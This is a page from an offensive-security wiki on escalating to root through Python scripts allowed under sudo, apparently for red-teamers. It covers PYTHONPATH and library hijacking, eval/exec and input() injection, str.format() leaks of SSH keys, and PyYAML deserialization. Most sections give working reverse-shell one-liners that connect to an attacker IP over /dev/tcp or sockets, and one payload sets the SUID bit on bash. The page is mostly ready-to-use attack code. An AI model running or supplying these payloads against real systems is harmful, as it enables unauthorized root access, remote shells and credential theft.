Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • PythonPath Hijacking
  • Python Library Overriding
  • Python Library Hijacking
  • OS Commands in input()
  • OS Commands in Eval() and Exec()
  • Format String Exploit
  • PyYaml Code Execution
  • References

Was this helpful?

Edit on GitHub
  1. Red-Teaming
  2. Privilege Escalation
  3. Linux
  4. Script Exploits

Python

Theory

Python scripting is a powerful tool used by system administrators and developers to automate tasks and streamline processes on Unix-like systems. However, like any software, python scripts can be vulnerable to various security issues, which, if exploited, can lead to privilege escalation and unauthorized access.

Practice

PythonPath Hijacking

Assume the python script can be executed as root with sudo rights and SETENV.

sudo -l
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/scripts/example.py

With SETENV, we can change PYTHONPATH when executing the script, and insert malicious script to the module which is imported in the script.

First, we can check what module is imported in the python script (e.g. /opt/scripts/example.py here).

import random
print(random.randint(1, 8))

We can forge the imported module

$ cat /tmp/random.py

import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",9001));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

Then run the python script with updating PYTHONPATH in the remote machine.

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/scripts/example.py

By setting PYTHONPATH=/tmp/, the python script will import modules from /tmp/ directories so the "random" module is imported from /tmp/random.py.

Python Library Overriding

Assume the python script can be executed as root with sudo rights. If the Python script contains a module that can be modified by current user, we can inject arbitrary code into the module.

sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py

Find writable python modules

$ find / -name "*.py" -writable 2>/dev/null
/usr/lib/python3.11/random.py

We can check if modules on which we have write access are imported by the script

import random
print(random.randint(1, 8))

We can append our payload at the end the of the module

$ echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING_IP",9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' >> /usr/lib/python3.11/random.py

Then run the python script with sudo

sudo /usr/bin/python3 /opt/scripts/example.py

Python Library Hijacking

Assume the python script can be executed as root with sudo rights. If we can write on the folder containing the script, then python will prioritize the execution of this module instead of the usual path

sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py

Check what modules are imported by the script

import random
print(random.randint(1, 8))

Check write access

$ touch /opt/scripts/random.py

Write the malicious module on the same folder as the script

$ cat /opt/scripts/random.py

#!/usr/bin/bash
import os
os.system('bash -c "/bin/bash -i >& /dev/tcp/<ATTACING_IP>/9001 0>&1"')

Then run the python script with sudo

sudo /usr/bin/python3 /opt/scripts/example.py

OS Commands in input()

Assume the python script use python2.x and can be executed as root with sudo rights. If it use the input function and we controll its input, then the script is vulnerable to arbitrary code execution. the input() function is equivalent to eval(raw_input).

sudo -l
    (root): /usr/bin/python2.7 /opt/scripts/example.py

Check if we have control over the input of the vulnerable function

compute = input('\nYour expression? => ')

We can enter an OS commands in the input function

$ sudo /usr/bin/python3 /opt/scripts/example.py

Enter Your expression? => __import__('os').system('id')
#or
Enter Your expression? => __import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')

OS Commands in Eval() and Exec()

Assume the python script can be executed as root with sudo rights. If it use the eval() or exec() method and we controll its input, then the script is vulnerable to arbitrary code execution.

sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py

Check if we have control over the input of a vulnerable function

#With eval
eval(text)
eval(f"5 + {num}")
print ("Result =", eval(comp))

#With exec
code = input('What command(s) in python did you learn today?')
exec(code)

If we controll some variables passed to this vulnerables functions, we can inject arbitrary code.

$ sudo /usr/bin/python3 /opt/scripts/example.py

__import__('os').system('id')

#Bypass another expression in eval
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#

#Example of a ReverseShell
__import__('os').system('bash -c "bash -i >& /dev/tcp/<ATTACKING_IP>/9001 0>&1"')

Format String Exploit

The str.format() string method was introduced in Python 3 was later also added to Python 2.7. It allows multiple substitutions and value formatting. Vulnerability comes when our Python app uses str.format() in the user-controlled string. This vulnerability may lead attackers to get access to sensitive information.

Here is an example of a vulnerable code:

# Let us assume this CONFIG & SECRET holds some sensitive information
CONFIG = {
	"KEY": "ASXFYFGK78989"
}
SECRET = [line.strip() for line in open("/root/.ssh/id_rsa")]

class PeopleInfo:
	def __init__(self, fname, lname):
		self.fname = fname
		self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
	return avatar_str.format(people_obj = people_obj)


# Driver Code
people = PeopleInfo('GEEKS', 'FORGEEKS')

# case 1: st obtained from user
st = input()
res = get_name_for_avatar(st, people_obj = people)
print(res)

To extract sensitive informations we can give the following strings as input:

$ sudo /usr/bin/python3 /opt/scripts/example.py

#We can extract the Config key with the following input
{people_obj.__init__.__globals__[CONFIG][KEY]}
#Output
ASXFYFGK78989

#We can extract the SSH key with the following input
SECRET_{people_obj.__init__.__globals__[SECRET]}_SECRET
#Output
SECRET_['-----BEGIN OPENSSH PRIVATE KEY-----', 'b3BlbnNzaC1rZXk'[...]]_SECRET

#Or we can try with the "self" variable (won't work here)
{self.__init__.__globals__[CONFIG][KEY]}

PyYaml Code Execution

Assume the python script can be executed as root with sudo rights. If it use the yaml.load() method and we controll its input, then the script is vulnerable to arbitrary code execution.

sudo -l
    (root): /usr/bin/python3 /opt/scripts/example.py

Check if we have control over the input of a vulnerable function

import yaml

filename = "example.yml"
yaml.load()

If we controll some variables passed to this vulnerables functions, we can inject arbitrary code. here are example of some payloads:

#Reverse shell
import yaml
from yaml import Loader, UnsafeLoader
yaml.load('!!python/object/new:os.system ["bash -c \'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1\'"]',Loader=Loader)

#SUID bit on bash
data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)

Since PyYaml version 6.0, the default loader for load has been switched to SafeLoader mitigating the risks against Remote Code Execution. The vulnerable sinks are now yaml.unsafe_load and yaml.load(input, Loader=yaml.UnsafeLoader)

References

Last updated 1 month ago

Was this helpful?

LogoPython Privilege Escalation | Exploit Noteshideckies
LogoLinux Privilege Escalation : Python Library HijackingMika's Blog | Sysadmin, Network & Infosec
LogoCommand Injection in Python: Examples and PreventionStackHawk
LogoVulnerability in str.format() in Python - GeeksforGeeksGeeksforGeeks